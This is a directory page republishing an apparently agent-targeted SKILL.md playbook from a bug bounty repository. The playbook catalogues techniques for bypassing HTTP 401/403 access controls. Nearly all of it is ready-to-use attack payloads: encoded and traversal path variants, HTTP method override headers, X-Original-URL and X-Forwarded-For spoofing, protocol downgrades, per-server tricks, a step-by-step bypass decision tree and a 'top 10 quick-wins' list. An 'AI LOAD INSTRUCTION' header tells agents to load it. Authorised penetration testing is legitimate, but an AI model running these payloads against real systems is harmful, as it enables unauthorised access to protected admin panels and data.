401 403 bypass techniques
Skill ShulkwiSEC/bb-huge/skills/curated/401-403-bypass-techniques
bb-huge π€ , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
npx -y skills add ShulkwiSEC/bb-huge --skill 401-403-bypass-techniquesAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
SKILL.md
10.1 KB, as published. Nobody here has run it
SKILL: 401/403 Bypass Techniques β Expert Attack Playbook
AI LOAD INSTRUCTION: Comprehensive 401/403 forbidden bypass techniques. Covers path normalization tricks, HTTP method override, header-based bypasses (X-Original-URL, X-Forwarded-For), protocol version tricks, and combination attacks. Base models typically know 2-3 header bypasses but miss the full matrix of path manipulation variants and verb+path combos.
0. RELATED ROUTING
- authbypass-authentication-flaws β broader auth bypass (login flaws, session handling)
- waf-bypass-techniques β when bypass is WAF-specific rather than access control
- http-host-header-attacks β Host header manipulation for routing bypass
- request-smuggling β smuggle past access controls entirely
- http2-specific-attacks β h2c smuggling to bypass proxy ACLs
1. PATH MANIPULATION BYPASSES
The core idea: the reverse proxy/WAF checks one path format, but the backend normalizes differently.
1.1 Trailing Slash / Missing Slash
/admin β 403
/admin/ β 200 β (trailing slash)
/admin/. β 200 β (trailing dot)
1.2 Case Sensitivity
/admin β 403
/Admin β 200 β
/ADMIN β 200 β
/aDmIn β 200 β
Works when: proxy rule is case-sensitive but backend is case-insensitive (common on Windows/IIS).
1.3 URL Encoding
/admin β 403
/%61dmin β 200 β (encode 'a')
/admi%6e β 200 β (encode 'n')
/%61%64%6d%69%6e β 200 β (full encode)
1.4 Double URL Encoding
/admin β 403
/%2561dmin β 200 β (%25 = %, decoded twice: %61 β a)
/admin%252f β 200 β
/admin..%252f β 200 β
1.5 Unicode / UTF-8 Encoding
/admin β 403
/admi%C0%AE β 200 β (overlong UTF-8 for '.')
/admi%C0%6E β 200 β (overlong encoding)
/%C0%AFadmin β 200 β (overlong '/')
1.6 Dot-Segment / Path Traversal
/admin β 403
/./admin β 200 β
//admin β 200 β
/admin/./ β 200 β
/.//admin β 200 β
/admin..;/ β 200 β (Tomcat path parameter)
1.7 Null Byte
/admin β 403
/admin%00 β 200 β
/admin%00.json β 200 β
/%00/admin β 200 β
1.8 Path Parameter Injection
/admin β 403
/admin;foo=bar β 200 β (Tomcat/Java treats ; as path param)
/admin; β 200 β
/admin;x β 200 β
1.9 Trailing Special Characters
/admin%20 (space) /admin%09 (tab) /admin? (empty query)
/admin.json /admin.html /admin/~
1.10 Backslash (Windows/IIS)
/admin\ /admin\..\/ \..\admin
1.11 Combined Path Tricks
///admin/// /./admin/./ /admin/..;/admin (Tomcat) /%2e/admin
2. HTTP METHOD BYPASS
2.1 Direct Method Change
GET /admin β 403
POST /admin β 200 β
PUT /admin β 200 β
PATCH /admin β 200 β
DELETE /admin β 200 β
OPTIONS /admin β 200 β (may leak allowed methods)
TRACE /admin β 200 β (may reflect headers β XST)
HEAD /admin β 200 β (same as GET but no body β confirms access)
2.2 Method Override Headers
When the proxy blocks by method, but the backend reads override headers:
GET /admin HTTP/1.1
X-HTTP-Method-Override: PUT
GET /admin HTTP/1.1
X-Method-Override: POST
GET /admin HTTP/1.1
X-HTTP-Method: DELETE
POST /admin HTTP/1.1
X-HTTP-Method-Override: PATCH
_method=PUT (in POST body β Rails, Laravel)
2.3 Custom / Invalid Methods
FOOBAR /admin HTTP/1.1 β some ACLs only check GET/POST
GETS /admin HTTP/1.1 β typo-like methods may bypass
CONNECT /admin HTTP/1.1 β proxy may tunnel
PROPFIND /admin HTTP/1.1 β WebDAV method
MOVE /admin HTTP/1.1 β WebDAV method
3. HEADER-BASED BYPASS
3.1 URL Rewrite Headers (Nginx/IIS)
These headers tell the backend the "real" URL, bypassing proxy-level path checks:
GET / HTTP/1.1
X-Original-URL: /admin
GET / HTTP/1.1
X-Rewrite-URL: /admin
The proxy sees GET / (allowed), but the backend routes to /admin.
3.2 IP Spoofing Headers (Whitelist Bypass)
Headers to try (each with values 127.0.0.1, 10.0.0.1, 0.0.0.0, ::1):
X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1
IP encoding variants: 0177.0.0.1 (octal), 2130706433 (decimal), 0x7f000001 (hex), localhost
3.3 Other Header Tricks
Referer: https://target.com/admin # Referrer check bypass
Origin: https://target.com # Origin check bypass
Host: localhost # Host header manipulation
X-Forwarded-Host: localhost # Forwarded host
Content-Type: application/json # Content-type switch
X-Requested-With: XMLHttpRequest # AJAX flag
4. PROTOCOL VERSION BYPASS
# HTTP/1.0 (some ACLs only apply to HTTP/1.1)
GET /admin HTTP/1.0
# HTTP/0.9 (extremely legacy β no headers)
GET /admin
# HTTP/2 pseudo-header tricks
:method: GET
:path: /admin
:authority: target.com
# See ../http2-specific-attacks/SKILL.md for H2-specific bypasses
5. VERB TAMPERING + PATH COMBINATION
Combine multiple techniques for higher success rate:
POST / HTTP/1.1 # method override + URL rewrite
X-Original-URL: /admin
X-HTTP-Method-Override: GET
GET /%61dmin HTTP/1.1 # IP spoof + path encoding
X-Forwarded-For: 127.0.0.1
GET /Admin HTTP/1.0 # protocol + case + IP spoof
X-Forwarded-For: 127.0.0.1
6. TECHNOLOGY-SPECIFIC BYPASSES
| Server | Key Tricks |
|---|---|
| Apache | /admin/ (trailing slash), /.admin (dot prefix), /admin%0d (CR) |
| Nginx | /Admin (case), /admin../ (normalization), X-Original-URL: /admin |
| IIS/ASP.NET | /admin;.css (path param+ext), /admin\ (backslash), /admin::$DATA (ADS), /admin%20 |
| Tomcat/Java | /admin;foo (path param), /admin..;/ (traversal), /;/admin (empty param) |
| Spring | /admin.anything (suffix matching, older), /admin/ (trailing slash) |
7. AUTOMATED TOOLS
| Tool | Purpose | URL |
|---|---|---|
| byp4xx | Comprehensive 403 bypass scanner | github.com/lobuhi/byp4xx |
| 403bypasser | Automated header/path/method bypass | github.com/sting8k/403bypasser |
| dirsearch | Directory brute-force with encoding variants | github.com/maurosoria/dirsearch |
| feroxbuster | Recursive content discovery | github.com/epi052/feroxbuster |
| Burp Intruder | Custom payload lists for manual testing | portswigger.net |
byp4xx usage
# Basic usage
./byp4xx.sh https://target.com/admin
# Output shows all attempted bypasses and their response codes
# 200/301/302 responses = potential bypass found
8. DECISION TREE
Got 401 or 403 on a path?
β
βββ Try PATH MANIPULATION first (highest success rate)
β βββ /path/ (trailing slash)
β βββ /PATH (case change)
β βββ /path%20 (trailing space)
β βββ /./path (dot segment)
β βββ //path (double slash)
β βββ /path;x (path parameter β Java/Tomcat)
β βββ /path..;/ (Tomcat specific)
β βββ /%2e/path (encoded dot)
β βββ /path%00 (null byte)
β βββ /path%23 (encoded hash)
β βββ Result? β 200 = bypass found
β
βββ Path tricks failed β Try METHOD BYPASS
β βββ POST/PUT/PATCH/DELETE/OPTIONS
β βββ HEAD (same as GET without body)
β βββ X-HTTP-Method-Override: PUT
β βββ TRACE (may reflect auth headers β XST)
β
βββ Method tricks failed β Try HEADER BYPASS
β βββ X-Original-URL: /path (Nginx/IIS rewrite)
β βββ X-Rewrite-URL: /path (same concept)
β βββ X-Forwarded-For: 127.0.0.1 (IP whitelist)
β βββ X-Real-IP: 127.0.0.1
β βββ True-Client-IP: 127.0.0.1
β βββ Referer: https://target.com/path
β
βββ Header tricks failed β Try PROTOCOL BYPASS
β βββ HTTP/1.0 instead of 1.1
β βββ HTTP/2 h2c smuggling (../http2-specific-attacks/)
β βββ WebSocket upgrade
β
βββ Single techniques failed β Try COMBINATIONS
β βββ Method + Path: POST /PATH/
β βββ Header + Path: X-Forwarded-For + /path%20
β βββ All three: POST + X-Original-URL + IP headers
β βββ Protocol + Path: HTTP/1.0 + encoded path
β
βββ All bypasses failed β Consider ALTERNATIVE APPROACHES
β βββ Request smuggling (../request-smuggling/) β smuggle past ACL
β βββ SSRF (../ssrf-server-side-request-forgery/) β access from server
β βββ IDOR (../idor-broken-object-authorization/) β access data directly
β βββ Auth flaws (../authbypass-authentication-flaws/) β login bypass
β
βββ Automated scan with byp4xx / 403bypasser for completeness
9. QUICK REFERENCE β KEY PAYLOADS
# Top 10 quick-wins (try these first)
GET /admin/ HTTP/1.1 # trailing slash
GET /Admin HTTP/1.1 # case change
GET /admin%20 HTTP/1.1 # trailing space
GET /./admin HTTP/1.1 # dot segment
GET //admin HTTP/1.1 # double slash
POST /admin HTTP/1.1 # method change
GET / HTTP/1.1 # X-Original-URL bypass
X-Original-URL: /admin
GET /admin HTTP/1.1 # IP whitelist bypass
X-Forwarded-For: 127.0.0.1
GET /admin;.css HTTP/1.1 # IIS path param
GET /admin..;/ HTTP/1.1 # Tomcat bypass